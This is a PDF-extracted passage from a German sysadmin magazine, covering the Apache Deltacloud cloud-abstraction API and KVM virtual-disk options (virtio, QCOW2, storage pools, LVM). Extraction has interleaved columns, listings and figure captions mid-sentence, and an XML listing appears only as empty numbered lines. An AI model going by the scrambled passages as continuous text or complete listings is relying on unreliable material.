Listing 1: CLI-Beispielsitzung<br />

verbreiteter Standards wie HTTP und<br />

XML entsteht eine offene Architektur, die<br />

unabhängig von den verwendeten Plattformen<br />

und Programmiersprachen ist.<br />

Die Realisierung der Deltacloud-API<br />

als Webservice statt als Bibliothek ermöglicht<br />

es, den Deltacloud-<strong>Server</strong> in<br />

einer von zwei Grundkonfigurationen<br />

zu betreiben: entweder nahe am Benutzer,<br />

etwa auf einem lokalen Rechner im<br />

LAN, oder nahe an der nativen API des<br />

Cloudanbieters, was besonders für private<br />

Clouds von Interesse ist. Anbieter<br />

von Cloud Services können Deltacloud<br />

natürlich auch direkt als ihr einziges Interface<br />

bereitstellen.<br />

Architektur<br />

01 > export API_URL=http://mockuser:mockpassword@localhost:3001/api<br />

02 > deltacloudc images<br />

03 img2 | Fedora 10 | i386 | Fedora 10 | fedoraproject<br />

04 img1 | Fedora 10 | x86_64 | Fedora 10 | fedoraproject<br />

05 img3 | JBoss | i386 | JBoss | mockuser<br />

06 > deltacloudc hardware_profiles<br />

07 m1‐small | i386 | 1740.8 | 160.0<br />

08 m1‐large | x86_64 | 10240.0 | 850.0<br />

09 ...<br />

Der Deltacloud-<strong>Server</strong> selbst ist in Ruby<br />

programmiert, genauer gesagt, mit dem<br />

Ruby-Framework Sinatra. Intern besteht<br />

der <strong>Server</strong>-Code aus zwei großen Bereichen:<br />

Der erste generische Teil widmet<br />

sich den für einen Web-Service typischen<br />

Aufgaben, wie dem Ent<strong>gegen</strong>nehmen<br />

und Deserialisieren von HTTP-Requests<br />

und dem Formatieren der Responses.<br />

Den zweiten Teil bilden die Treiber für<br />

verschiedene Clouds: Amazon EC2, vCloud,<br />

Azure und so weiter. Beide Teile<br />

sind über eine einfache interne Schnittstelle<br />

miteinander verbunden. So lassen<br />

10 > deltacloudc instances create ‐‐image‐id=img1 ‐‐hardware‐profile=m1‐small<br />

11 inst49 | ... | Fedora 10 | RUNNING | ...<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

115


Virtualisierung<br />

Deltacloud<br />

sich Treiber für neue Cloud-APIs ohne<br />

allzu tief gehendes Wissen über den<br />

eigentlichen <strong>Server</strong> programmieren. Ersten<br />

Erfahrungen zufolge braucht man<br />

für die Implementation eines neuen Treibers<br />

nur wenige Tage.<br />

Ein vereinfachter Ablauf sieht dann so<br />

aus: Ein Client schickt einen Request via<br />

REST-Interface an den <strong>Server</strong>. Anschließend<br />

leitet der Treiber im Deltacloud-<br />

<strong>Server</strong> die Anfrage an die angesprochene<br />

dedizierte Cloud weiter. Der <strong>Server</strong> ist<br />

stateless, es werden keine Zustands- oder<br />

Sitzungsinformationen gespeichert. Stattdessen<br />

sendet der Client die für die jeweils<br />

gewählte Cloud benötigten Zugangsinformationen<br />

im Header für Basic-HTTP-<br />

Authentication mit jedem Request mit.<br />

Im Moment erfährt der Deltacloud-<strong>Server</strong><br />

beim Start, welche Cloud mit welcher API<br />

er unter welcher URL ansprechen soll. In<br />

der nächsten Version soll es möglich sein,<br />

beides über zusätzliche HTTP Request<br />

Header auszuwählen. Dann sind beliebig<br />

viele Clouds mit demselben Deltacloud-<br />

<strong>Server</strong> nutzbar.<br />

API-Prinzipien<br />

Die Definition von Abstraction APIs birgt<br />

immer die Gefahr, dass die abstrakte API<br />

nur den kleinsten gemeinsamen Nenner<br />

der zugrunde liegenden APIs bereitstellt.<br />

Deltacloud vermeidet dieses Problem, indem<br />

es eine Basisschnittstelle definiert,<br />

Listing 2: Cloud-Beschreibung<br />

01 <br />

die alle Treiber unterstützen. Einfache<br />

Mechanismen erkennen dann, ob und<br />

welche spezifischen Erweiterungen gegebenenfalls<br />

nutzbar sind. Das Ziel dieser<br />

Mechanismen ist, dass Clients niemals<br />

wissen müssen, mit welcher Cloud sie<br />

via Deltacloud verbunden sind, sondern<br />

alle Fragen über cloudspezifische Unterschiede<br />

mittels detaillierter Hinweise in<br />

den Antworten des Deltacloud-<strong>Server</strong>s<br />

entdecken können.<br />

Die API verfügt über genau einen Single<br />

Entrypoint, was als Best Practice in der<br />

REST-Welt gilt. Das XML-Dokument, das<br />

unter der URL des Entrypoints zu erreichen<br />

ist, enthält vielfältige Informationen<br />

über alle Ressourcen, die über den Deltacloud-<strong>Server</strong><br />

verfügbar sind (Listing<br />

2). Diese umfassen Images, Instances,<br />

Realms, Hardwareprofile und so weiter.<br />

Listing 2 zeigt das XML des API Entrypoints,<br />

von dem aus alle anderen Ressourcen<br />

des APIs erreicht werden können.<br />

Das »api«-Tag in Zeile 1 zeigt, dass<br />

dieses XML vom EC2-Driver generiert<br />

wurde und der <strong>Server</strong> die API-Version<br />

0.2.0 unterstützt.<br />

Resource Collections<br />

Für jede Collection wird angegeben, unter<br />

welcher URL eine Liste aller Ressourcen<br />

in dieser Collection zu finden ist. Zum<br />

Beispiel gibt Zeile 8 die URL an, unter<br />

der eine Liste aller virtuellen Maschinen<br />

02 <br />

03 <br />

04 <br />

05 <br />

06 <br />

07 <br />

08 <br />

09 <br />

10 <br />

11 <br />

12 <br />

13 <br />

14 <br />

15 <br />

16 <br />

17 <br />

18 <br />

19 <br />

20 <br />

21 <br />

zu finden ist. Des Weiteren geben die<br />

»feature«-Tags in den »link«-Elementen<br />

an, welche optionalen Features des API<br />

unterstützt werden. Im Beispiel sind das<br />

»user_data«, »authentization_key«, »security_group«,<br />

und »register_to_load_balancer«.<br />

Jedes dieser Features deckt eine<br />

Besonderheit des EC2 API ab: So legt<br />

»user_data« fest, dass beim Anlegen einer<br />

Instanz benutzergenerierte Daten mit<br />

angegeben werden können. Das Vorhandensein<br />

dieses Features impliziert also<br />

auch, dass die Operation zum Anlegen<br />

einer Instanz einen zusätzlichen Parameter,<br />

»user_data«, akzeptiert.<br />

Neben URLs zum Auflisten jeder dieser<br />

Resource Collections enthält das XML-<br />

Dokument auch Hinweise über treiberspezifische<br />

Erweiterungen. Clients erhalten<br />

zum Beispiel einen Hinweis, ob und<br />

mit welchem Mechanismus die jeweils<br />

verwendete Cloud es erlaubt, benutzerdefinierte<br />

Daten in neue VM-Instanzen<br />

bei deren Start zu injizieren. Diese Operation<br />

ist zum Personalisieren neuer Instanzen<br />

enorm wichtig. Sie wird aber<br />

leider nicht von allen Cloud-Providern<br />

unterstützt, und von denen, die sie unterstützen,<br />

in völlig unterschiedlicher Weise<br />

angeboten.<br />

Die verschiedenen Zustände, die eine<br />

virtuelle Maschine während ihres Lifecycle<br />

durchläuft, unterscheiden sich<br />

von Cloud zu Cloud stark. Differenzen<br />

bestehen nicht nur in der Benennung<br />

von logisch äquivalenten Zuständen und<br />

Operationen, sondern auch in der Anzahl<br />

und Abfolge der Zustände. Deltacloud<br />

stellt Clients daher ein vereinheitlichtess<br />

Modell des cloudspezifischen Lifecycle<br />

in der Form eines endlichen Automaten<br />

zur Verfügung (Abbildung 2). In diesem<br />

werden nicht nur Namensunterschiede<br />

nivelliert, sondern ein Client kann auch<br />

erkennen, welche Operationen durchzuführen<br />

sind, um zum Beispiel eine<br />

momentan laufende virtuelle Maschine<br />

anzuhalten und zu löschen.<br />

Alles was erlaubt ist<br />

Auch wenn der generelle Lifecycle einer<br />

Cloud bekannt ist, ist es im Allgemeinen<br />

schwierig festzustellen, welche Operationen,<br />

wie Pause, Stop, und so weiter<br />

auf einer virtuellen Maschine ausgeführt<br />

werden dürfen. Dazu müssen viele, zum<br />

116 Ausgabe 04-2012 Admin www.admin-magazin.de


Deltacloud<br />

Virtualisierung<br />

create<br />

Pending<br />

auto<br />

Running<br />

Application<br />

Builder<br />

Self-<br />

Service<br />

Tools<br />

Reporting<br />

Start<br />

start<br />

Stopped<br />

stop<br />

Repository<br />

Scheduling<br />

Authentication<br />

Cloud Engine<br />

Deltacloud API<br />

Services<br />

Policy<br />

destroy<br />

Finish<br />

RHEV-based<br />

Virtualization<br />

Platforms<br />

Other<br />

Virtualization<br />

Platforms<br />

Public Cloud<br />

Providers<br />

Quelle: Red Hat<br />

Abbildung 2: Sehr nützlich sind Funktionen, um den genauen Status einer Instanz<br />

nachvollziehen zu können.<br />

Abbildung 3: Mit Hilfe der Deltacloud-API lassen sich private Clouds<br />

implementieren und betreiben, die mit öffentlichen Clouds kommunizieren.<br />

Teil cloudinterne, Attribute berücksichtigt<br />

werden, beispielsweise Permissions. Deltacloud<br />

erleichtert Clients hier das Leben,<br />

indem es bei jeder virtuellen Maschine<br />

mit angibt, welche Operationen auf ihr<br />

jeweils ausgeführt werden dürfen, ob<br />

zum Beispiel der momentane Benutzer<br />

berechtigt ist, eine virtuelle Maschine<br />

anzuhalten.<br />

Innerhalb einer Cloud bezeichnet eine<br />

Realm einen abgegrenzten Bereich, der<br />

über bestimmte Ressourcen verfügt. Jeder<br />

Cloud Provider definiert diesen Bereich<br />

individuell. In einigen Fällen repräsentiert<br />

ein Realm unterschiedliche<br />

Rechenzentren, Regionen oder auch nur<br />

Ressource-Pools innerhalb eines einzelnen<br />

Rechenzentrums. Ein Cloud Provider<br />

kann beispielsweise darauf bestehen,<br />

dass sich alle Ressourcen, die zusammenarbeiten<br />

sollen, innerhalb einer Realm<br />

befinden. Das leuchtet etwa für Storagesysteme<br />

unmittelbar ein, die eine physische<br />

Verbindung zu Speichergeräten<br />

brauchen.<br />

Konstruktionsvorgaben<br />

Ein weiteres Gebiet, auf dem sich einzelne<br />

Clouds stark unterscheiden, ist die<br />

Größe der virtuellen Maschinen, die zur<br />

Verfügung stehen. Die Angebote unterscheiden<br />

sich nicht nur im Hinblick auf<br />

die Anzahl virtueller CPUs, die Größe des<br />

Hauptspeichers und des lokalen Plattenspeichers,<br />

sondern auch darin, ob der Benutzer<br />

nur virtuelle Maschinen aus einer<br />

Liste fester Größen anlegen kann, oder<br />

ob es möglich ist, manche der Parameter<br />

zu ändern. Zum Beispiel mag ein Anbieter<br />

nur virtuelle Maschinen mit 1 GByte<br />

RAM anbieten, während ein anderer es<br />

erlaubt, beim Anlegen der VM die Größe<br />

des Hauptspeichers zwischen 1 GByte<br />

und 8 GByte in Schritten von 512 MByte<br />

zu variieren.<br />

Die Deltacloud-API bildet diese Vielzahl<br />

von Möglichkeiten durch ein Modell,<br />

nämlich die Hardwareprofile, so ab, dass<br />

Clients den vollen Umfang aller möglichen<br />

VM-Parameter erhalten, die Benutzer<br />

beeinflussen können. Dabei brauchen<br />

Clients nicht zu wissen, wie genau eine<br />

spezifische Cloud die Größe einer neuen<br />

virtuellen Maschine festlegt, sondern sie<br />

müssen nur das Deltacloud-Modell verstehen.<br />

Ausblick<br />

Apache Deltacloud wird kontinuierlich<br />

von einer aktiven Community weiterentwickelt.<br />

Ein Schwerpunkt dieser Arbeit<br />

ist die Unterstützung von cloudorientierten<br />

Speichersystemen wie S3 und Cloud-<br />

Files. Einen weiteren Schwerpunkt bildet<br />

die Erstellung von zusätzlichen Treibern,<br />

insbesondere für vCloud, Red Hat Enterprise<br />

Virtualization Manager (RHEV-M)<br />

und Google Storage. Diese Erweiterungen<br />

werden so gestaltet, dass sie vollständig<br />

rückwärtskompatibel sind, damit auch<br />

alte Clients problemlos mit neueren <strong>Server</strong>n<br />

kommunizieren können. Diese API-<br />

Stabilität beinhaltet nicht nur die Parameter<br />

der HTTP Requests und das XML-Format<br />

der Responses, sondern auch Dinge<br />

wie die Fehlercodes und ‐meldungen, die<br />

die API benutzt.<br />

Deltacloud wird <strong>gegen</strong>wärtig von mehreren<br />

Projekten verwendet, unter anderem<br />

von Red Hats Cloud Engine, von<br />

Steamcannon und Eclipse. Cloud Engine<br />

ist damit befasst, einen Cloudbroker, natürlich<br />

als Open Source, zu implementieren.<br />

Dabei wird sowohl die Sicht auf die<br />

virtuelle Cloud jedes Benutzers als auch<br />

die Kommunikation mit den zugrundeliegenden<br />

Clouds über die Deltacloud-<br />

API abgewickelt. Steamcannon erstellt<br />

die Werkzeuge, die nötig sind, um eine<br />

eigene Platform-as-a-Service-Cloud für<br />

Java- und Ruby-Anwendungen zu betreiben.<br />

Innerhalb des Eclipse-Projekts schließlich<br />

werden Plugins entwickelt, die das<br />

Verwalten von virtuellen Maschinen in<br />

Clouds aus Eclipse heraus erleichtern, so<br />

dass Entwickler auch komplexe Anwendungsszenarien<br />

und ‐architekturen einfach<br />

mit ein paar Mausklicks realisieren<br />

können. (jcb)<br />

n<br />

Infos<br />

[1] Amazon EC2:<br />

[http:// aws. amazon. com/ de/ ec2/]<br />

[2] Amazon S3:<br />

[http:// aws. amazon. com/ de/ s3/]<br />

[3] Jiffybox: [https:// www. jiffybox. de]<br />

[4] Gogrid: [http:// www. gogrid. com]<br />

[5] Rackspace:<br />

[http:// www. rackspace. com/ index. php]<br />

[6] Terremark:<br />

[http:// www. terremark. com/ default. aspx]<br />

[7] Apache Incubator:<br />

[http:// incubator. apache. org]<br />

[8] Deltacloud:<br />

[http:// incubator. apache. org/ deltacloud/]<br />

[9] Jclouds: [http:// www. jclouds. org]<br />

[10] Libcloud:<br />

[http:// incubator. apache. org/ libcloud/]<br />

[11] Boto: [http:// code. google. com/ p/ boto/]<br />

[12] Fog: [https:// github. com/ geemus/ fog]<br />

Der Autor<br />

David Lutterkort ist Principal Software Engineer<br />

bei Red Hat und der Maintainer des Apache-Deltacloud-Projekts.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

117


Virtualisierung<br />

KVM-Storage<br />

Optimale Disk-Konfiguration für Linux-KVM<br />

Abgerundet<br />

In KVM gibt es viele Wege, um virtuelle Datenträger im Hostsystem<br />

abzubilden. Die Wahl des passenden Datenträgerformats hat nicht<br />

nur einen Einfluss auf die Geschwindigkeit von I/​O-Operationen,<br />

sondern auch auf Snapshots und Backups. Michael Kofler<br />

© Viktoriia Lesnichenko, 123RF<br />

Die meisten Virtualisierungssysteme präsentieren<br />

dem Gast seine virtuellen Festplatten<br />

als gewöhnliche IDE-, SCSI- oder<br />

SATA-Festplatten. Damit sieht es für den<br />

Gast so aus, als hätte er es mit einer ganz<br />

normalen Festplatte zu tun. Tatsächlich<br />

muss aber das Virtualisierungssystem für<br />

jeden Datenzugriff den IDE-, SCSI- oder<br />

SATA-Bus emulieren. In der virtuellen<br />

Maschine kümmert sich ein entsprechender<br />

Treiber um die Datenzugriffe.<br />

Virtuelle<br />

Festplattenadapter<br />

KVM [1] beziehungsweise die zugrundeliegenden<br />

Qemu-Komponenten emulieren<br />

standardmäßig einen IDE-Bus. Das<br />

klingt altmodisch, hat aber den Vorteil,<br />

dass nahezu jedes Gastsystem damit zurechtkommt<br />

– egal, ob in der virtuellen<br />

Maschine Linux, Windows, BSD oder ein<br />

anderes Betriebssystem läuft.<br />

Wenn in der virtuellen Maschine Linux<br />

ausgeführt wird, wie dies im KVM-<strong>Server</strong>-Alltag<br />

häufig der Fall ist, gibt es aber<br />

einen wesentlich effizienteren Weg, um<br />

auf Datenträger zuzugreifen: den Virtio-<br />

Block-Treiber. Dabei handelt es sich um<br />

einen schon seit Version 2.6.25 in den<br />

Linux-Kernel integrierten Treiber, der speziell<br />

für Virtualisierungssysteme (KVM,<br />

Xen und so weiter) entwickelt wurde. Mit<br />

dem Virtio-Treiber erspart sich KVM die<br />

Emulation eines Festplattenbussystems<br />

(zum Beispiel IDE); gleichzeitig vereinfacht<br />

sich der Datenträgerzugriff auch<br />

im Gast.<br />

Beachten Sie aber, dass KVM den Virtio-<br />

Treiber nur verwendet, wenn bekannt<br />

ist, dass der Gast Virtio-kompatibel ist.<br />

Deswegen ist es beim Einrichten der virtuellen<br />

Maschine im Virtual Machine Manager<br />

entscheidend, dass Sie im zweiten<br />

Schritt des Installationsassistenten das<br />

Betriebssystem des Gasts korrekt angeben.<br />

Der Virtio-Treiber wird auch als paravirtualisierter<br />

Treiber bezeichnet. Paravirtualisierung<br />

bedeutet, dass der Gast bei<br />

der Virtualisierung mithilft. Der Kernel<br />

aktueller Linux-Gäste erkennt automatisch,<br />

dass das Virtualisierungssystem<br />

Virtio nutzt. Es sind daher im Gast keine<br />

besonderen Konfigurationsarbeiten erforderlich.<br />

Die einzige Eigenheit besteht<br />

darin, dass die Device-Namen der virtuellen<br />

Festplatten »/dev/vda«, »/dev/vdb«<br />

und so weiter lauten (anstelle der sonst<br />

üblichen Device-Namen »/dev/sda«, »/<br />

dev/sdb«).<br />

Der Einsatz des Virtio-Treibers ist erfreulicherweise<br />

auch für Windows-Gäste<br />

möglich. Dort ist die Vorgehensweise<br />

aber ein wenig komplizierter: Bei der anfänglichen<br />

Installation verwendet KVM<br />

den IDE-Treiber. Sobald Windows in der<br />

virtuellen Maschine läuft, installieren<br />

Sie in Windows die Virtio-Treiber. Dazu<br />

binden Sie in der virtuellen Maschine<br />

eine ISO-Datei mit den Treibern als CD-<br />

Laufwerk ein. Ein ISO-Image mit von Red<br />

Hat signierten Windows-Treibern finden<br />

Sie unter [2].<br />

Nach der Installation der Treiber fahren<br />

Sie Windows herunter und verändern<br />

dann im Virtual Machine Manager das<br />

Bussystem des Datenträgers von IDE auf<br />

Virtio (Abbildung 1). Ab dem nächsten<br />

Neustart nutzt dann auch Windows den<br />

Virtio-Treiber.<br />

Image-Formate<br />

Wenn Sie im Virtual Machine Manager<br />

einen neuen Gast einrichten, wird dessen<br />

Festplatte standardmäßig in einer RAW-<br />

Image-Datei im Verzeichnis »/var/lib/<br />

libvirt/images« gespeichert (Abbildung<br />

2). Das RAW-Format ist gleichzeitig das<br />

einfachste und effizienteste Image-Format.<br />

Der Inhalt der virtuellen Festplatte<br />

wird einfach unverändert in der Image-<br />

Datei abgebildet. Für erste Experimente<br />

ist diese Grundeinstellung vollkommen<br />

ausreichend. Etwas Hintergrundwissen<br />

über die zur Auswahl stehenden Optionen<br />

hilft aber dabei, die Parameter für die<br />

gewünschte Anwendung zu optimieren.<br />

RAW-Dateien bestehen anfänglich aus<br />

lauter 0-Bytes. Alle gängigen Linux-Dateisysteme<br />

erkennen das und betrachten<br />

118 Ausgabe 04-2012 Admin www.admin-magazin.de


KVM-Storage<br />

Virtualisierung<br />

Im Virtual Machine Manager stehen in<br />

den Datenträgerdialogen auch die von<br />

VMWare beziehungsweise Virtualbox<br />

bekannten Formate VMDK und VDI zur<br />

Auswahl. Diese Formate werden von<br />

KVM aber nicht direkt unterstützt. (Dass<br />

die Formate dennoch im Virtual Machine<br />

Manager auftauchen, hat damit zu tun,<br />

dass der Virtual Machine Manager auch<br />

zur Steuerung anderer Virtualisierungsdie<br />

Datei als ’sparse file’. Deswegen ist<br />

der tatsächliche Platzbedarf im Dateisystem<br />

des Host-Rechners vorerst sehr<br />

gering. Erst wenn Daten in der virtuellen<br />

Festplatte gespeichert werden, belegt die<br />

Image-Datei im Dateisystem des Host-<br />

Rechners zunehmend immer mehr Platz,<br />

bis schließlich die beim Einrichten vorgesehene<br />

Maximalgröße erreicht wird.<br />

Nicht portabel<br />

Beachten Sie aber, dass nicht alle Dateisysteme<br />

beziehungsweise Backup-Werkzeuge<br />

sparse-kompatibel sind. Wenn Sie<br />

RAW-Dateien in Netzwerkverzeichnissen<br />

speichern oder über eine Netzwerkverbindung<br />

sichern, muss die RAW-Datei in<br />

der Regel in ihrer vollen Größe übertragen<br />

werden (also unabhängig vom Ausmaß<br />

der tatsächlichen Ausnutzung).<br />

Die populärste Alternative zum Raw-<br />

Format ist das QCOW2-Format (Qemu<br />

Copy on Write, Version 2). Gegenüber<br />

dem RAW-Format bietet QCOW2 einige<br />

Zusatzfunktionen: So können Image-<br />

Dateien verschlüsselt oder komprimiert<br />

werden. QCOW2-Dateien wachsen erst<br />

bei Bedarf und das unabhängig von den<br />

Sparse-Funktionen des Dateisystems.<br />

Der größte Vorteil von QCOW2-Images<br />

besteht aber darin, dass im laufenden<br />

Betrieb sogenannte Snapshots erstellt<br />

werden können. Das hilft vor allem bei<br />

der Durchführung von Backups.<br />

Das QCOW2-Format hatte in der Vergangenheit<br />

einen schlechten Ruf: Zum einen<br />

gab es im Zusammenspiel mit den<br />

Libvirt-Werkzeugen Kompatibilitätspro-<br />

bleme, zum anderen waren QCOW2-<br />

Images wesentlich langsamer als RAW-<br />

Images. Mittlerweile sind diese Probleme<br />

behoben. Ein gewisser Geschwindigkeitsnachteil<br />

besteht noch immer, dieser beträgt<br />

aber nach meinen Messungen lediglich<br />

fünf bis zehn Prozent im Vergleich<br />

zum RAW-Format. Für viele Anwendungen,<br />

die nicht stark I/​O-lastig sind, ist<br />

der Geschwindigkeitsunterschied kaum<br />

messbar.<br />

Qemu/​KVM unterstützt seit Mitte 2011<br />

mit Qemu Enhanced Disk (QED, [3]) ein<br />

drittes Image-Format. Es bietet eine etwas<br />

höhere Geschwindigkeit als QCOW2,<br />

enthält dafür aber weniger Funktionen<br />

(unter anderem keine Snapshots). Möglicherweise<br />

wird QED langfristig QCOW2<br />

ablösen. Gegen den Einsatz des QED-Formats<br />

spricht in erster Linie der Umstand,<br />

dass das Format noch unzureichend<br />

getestet ist. Mit neuen Image-Formaten<br />

verhält es sich ähnlich wie mit neuen<br />

Dateisystemen: Wer seine Daten liebt,<br />

wartet mit dem Einsatz lieber ein, zwei<br />

Jahre ab.<br />

Formatwandlung<br />

systeme geeignet ist.) Wenn Sie eine virtuelle<br />

Maschine mit einem VMDK- oder<br />

VDI-Datenträger unter KVM ausführen<br />

möchten, müssen Sie die Image-Datei<br />

zuerst in ein KVM-kompatibles Image-<br />

Format umwandeln. In einfachen Fällen<br />

hilft das Kommando »qemu‐img<br />

convert« bei der Konvertierung.<br />

Leider ist »qemu‐img« mit mehrteiligen<br />

Image-Dateien überfordert. Abhilfe<br />

schafft dann nur der »vmware‐vdiskmanager«.<br />

Dieses Kommando wird mit diversen<br />

VMware-Produkten mitgeliefert,<br />

unter anderem mit dem unter Linux frei<br />

verfügbaren VMware <strong>Server</strong>.<br />

Speicherpools<br />

Die Libvirt-Werkzeuge, zu denen auch<br />

der Virtual Machine Manager zählt, verwenden<br />

zur Verwaltung von Datenträgern<br />

sogenannte Storage Pools. Im einfachsten<br />

Fall ist ein Speicherpool einfach ein Verzeichnis<br />

auf der lokalen Festplatte. Als<br />

Speicherpools kommen aber auch Virtual<br />

Groups (LVM), ganze Festplatten, iSCSI-<br />

Geräte sowie Netzwerkverzeichnisse infrage.<br />

Jeder Datenträger in einem Storage<br />

Pool wird in der Libvirt-Nomenklatur als<br />

’Volume’ bezeichnet.<br />

Standardmäßig ist nach der Installation<br />

der Libvirt-Werkzeuge bereits ein Speicherpool<br />

mit dem Namen »default« eingerichtet.<br />

Dabei handelt es sich um das Verzeichnis<br />

»/var/lib/libvirt/images«. Wenn<br />

Sie Image-Dateien in einem anderen Verzeichnis<br />

speichern möchten, wählen Sie<br />

im Virtual Machine Manager »Bearbeiten<br />

| Verbindungsdetails« aus und aktivieren<br />

Abbildung 1: Virtio-Treiber unter Windows.<br />

Abbildung 2: Defaulteinstellungen eines Datenträgers im Virtual Machine<br />

Manager.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

119


Virtualisierung<br />

KVM-Storage<br />

Abbildung 3: Einen neuen Speicherpool im Virtual Machine Manager einrichten.<br />

das Dialogblatt »Speicher« (Abbildung<br />

3). Mit dem Plus-Button können Sie nun<br />

weitere Speicherpools anlegen.<br />

In der Folge können Sie beim Einrichten<br />

neuer virtueller Maschinen angeben, in<br />

welchem Speicherpool der neue Datenträger<br />

gespeichert werden soll (Option<br />

»Verwalteten oder anderen Speicher<br />

wählen«). Je nachdem, um welche Art<br />

von Speicherpool es sich handelt, legt<br />

der Virtual Machine Manager den neuen<br />

Kommando<br />

pool-define<br />

Tabelle 1: Virsh-Kommandos<br />

pool-define-as<br />

pool-start<br />

pool-auto-start<br />

pool-destroy<br />

pool-delete<br />

pool-list<br />

pool-info<br />

vol-create<br />

vol-create-as<br />

vol-delete<br />

vol-list<br />

vol-inf<br />

snapshot-create<br />

snapshot-create-as<br />

snapshot-revert<br />

snapshot-delete<br />

snapshot-list<br />

Datenträger als<br />

Image-Datei, als<br />

Logical Volume<br />

und so weiter an.<br />

LVM<br />

Funktion<br />

Erzeugt einen neuen Speicherpool, dessen Eigenschaften in einer XML-Datei<br />

beschrieben sind.<br />

Erzeugt einen Speicherpool, dessen Eigenschaften in Parametern<br />

angegeben werden.<br />

Startet (aktiviert) einen Speicherpool.<br />

Bewirkt, dass der Speicherpool in Zukunft automatisch gestartet wird.<br />

Deaktiviert einen Speicherpool. Der Pool kann später wieder mit pool-start<br />

aktiviert werden.<br />

Löscht einen Pool, sofern dieser keine Volumes enthält.<br />

Listet alle bekannten Speicherpools auf.<br />

Liefert detaillierte Informationen über einen Speicherpool.<br />

Erzeugt einen neuen virtuellen Datenträger, dessen Eigenschaften in einer<br />

XML-Datei beschrieben sind.<br />

Erzeugt einen neuen Datenträgern, dessen Eigenschaften in Parametern<br />

angegeben werden.<br />

Löscht einen Datenträger.<br />

Liefert eine Liste aller Datenträger in einem Speicherpool.<br />

Liefert detaillierte Informationen über einen Datenträger.<br />

Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei die Snapshot-<br />

Parameter in einer XML-Datei beschrieben sind.<br />

Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei der Snapshot-<br />

Name als Parameter angegeben wird.<br />

Aktiviert einen zuvor erstellten Snapshot einer QCOW2-Imagedatei.<br />

Löscht einen Snapshot einer QCOW2-Imagedatei.<br />

Listet alle Snapshots einer QCOW2-Imagedatei auf.<br />

Sofern Sie auf dem<br />

Hostsystem LVM<br />

einsetzen, können<br />

Sie anstelle<br />

einer Image-Datei<br />

auch ein Logical<br />

Volume (LV) als<br />

virtuellen Datenträger<br />

verwenden.<br />

Der Hauptvorteil<br />

besteht darin,<br />

dass der Zugriff<br />

auf LVs ein wenig effizienter ist als bei<br />

Image-Dateien. Erwarten Sie aber keine<br />

Wunder: Bei meinen Benchmarktests<br />

betrugen die Geschwindigkeitsgewinne<br />

im Vergleich zu einem RAW-Image nur<br />

wenige Prozent.<br />

Ein Speicherpool für Logical Volumes ist<br />

ganz einfach eine Volume Group (VG),<br />

die Sie zuerst mit dem Kommando »vgcreate«<br />

einrichten. Anschließend führen<br />

Sie im Virtual Machine Manager »Bearbeiten<br />

| Verbindungsdetails« aus und klicken<br />

im Dialogblatt »Speicher« auf den<br />

Plus-Button.<br />

Im Assistenten »Einen neuen Speicherpool<br />

hinzufügen« wählen Sie im ersten<br />

Schritt den Typ »LVM Volume Group«<br />

aus. Im zweiten Schritt stehen im Eingabefeld<br />

»Zielpfad« die Device-Dateien<br />

der auf dem Hostrechner verfügbaren<br />

Volume Groups zur Auswahl. Das Feld<br />

»Quellpfad« bleibt leer. Die Option »Pool<br />

erzeugen« muss nicht aktiviert werden<br />

(die Volume Group existiert ja schon).<br />

In der Liste der Speicherpools erscheint<br />

nun die gerade ausgewählte Volume<br />

Group. Bereits existierende Logical Volumes<br />

werden aufgelistet und können<br />

als Datenträger für virtuelle Maschinen<br />

benutzt werden. Mit »Neuer Datenträger«<br />

können Sie zudem direkt im Virtual Machine<br />

Manager neue LVs einrichten, ohne<br />

dafür auf das LVM-Kommando »lvcreate«<br />

zurückzugreifen. Achten Sie darauf, dass<br />

Sie im Virtual Machine Manager nur solche<br />

LVs für virtuelle Maschinen nutzen,<br />

die nicht auch im KVM-Host genutzt werden.<br />

Der parallele Zugriff auf ein Logical<br />

Volume durch eine virtuelle Maschine<br />

und den KVM-Host führt zu defekten<br />

Daten!<br />

Es ist nicht weiter schwierig, eine RAW-<br />

Image-Datei in ein Logical Volume zu<br />

übertragen. (Image-Dateien in anderen<br />

Formaten müssen aber vorher in das<br />

RAW-Format umgewandelt werden.)<br />

Dazu ermitteln Sie mit »ls ‐l« die exakte<br />

Größe der Datei und erzeugen dann mit<br />

»lvcreate« ein LV in genau dieser Größe.<br />

Dabei müssen Sie das Suffix »b« verwenden,<br />

damit »lvcreate« die Größenangabe<br />

in Bytes interpretiert. Anschließend übertragen<br />

Sie den Inhalt der Image-Datei<br />

mit »dd« oder »cat« direkt in das Device<br />

des LV.<br />

ls ‐l disk.raw<br />

... 10485760000 ... disk.raw<br />

lvcreate ‐L 10485760000b ‐n kvmdisk vg1<br />

cat disk.raw > /dev/vg1/kvmdisk<br />

Festplattenpartitionen<br />

Partitionen einer Festplatte können wie<br />

Logical Volumes als Datenträger für<br />

virtuelle Maschinen eingesetzt werden.<br />

Dazu definieren Sie mit den Libvirt-<br />

Werkzeugen eine Festplatte als Spei-<br />

120 Ausgabe 04-2012 Admin www.admin-magazin.de


KVM-Storage<br />

Virtualisierung<br />

cherpool (Typ »Physical Disk Device« im<br />

Virtual Machine Manager) und können<br />

anschließend eine Partitionen als Datenträger<br />

an eine virtuelle Maschine weitergeben.<br />

Dabei müssen Sie natürlich darauf<br />

achten, dass Sie nie eine Partition von<br />

mehreren Gästen beziehungsweise vom<br />

Host-System und einem Gast zugleich<br />

ansprechen!<br />

Wirklich empfehlenswert ist diese Vorgehensweise<br />

aber nicht: Im Vergleich zu<br />

Logical Volumes ergibt sich daraus keine<br />

Effizienzsteigerung. Der Grund: Auch<br />

beim scheinbar direkten Zugriff auf Festplattenpartitionen<br />

führt jede I/​O-Operation<br />

über KVM. Begraben Sie also die<br />

Hoffnung, in einer virtuellen Maschine<br />

dieselbe I/​O-Performance zu erzielen wie<br />

auf dem KVM-Host.<br />

Gleichzeitig geht bei der Administration<br />

die Flexibilität von LVM verloren. Außerdem<br />

besteht die Gefahr, dass im Gast<br />

angelegte Partitionen und LVM-Systeme<br />

die Partitions- und LVM-Verwaltung auf<br />

dem Hostsystem durcheinanderbringen.<br />

Kurzum: Im Regelfall sind Sie gut beraten,<br />

Logical Volumes als virtuelle Datenträger<br />

zu verwenden, nicht aber Festplattenpartitionen.<br />

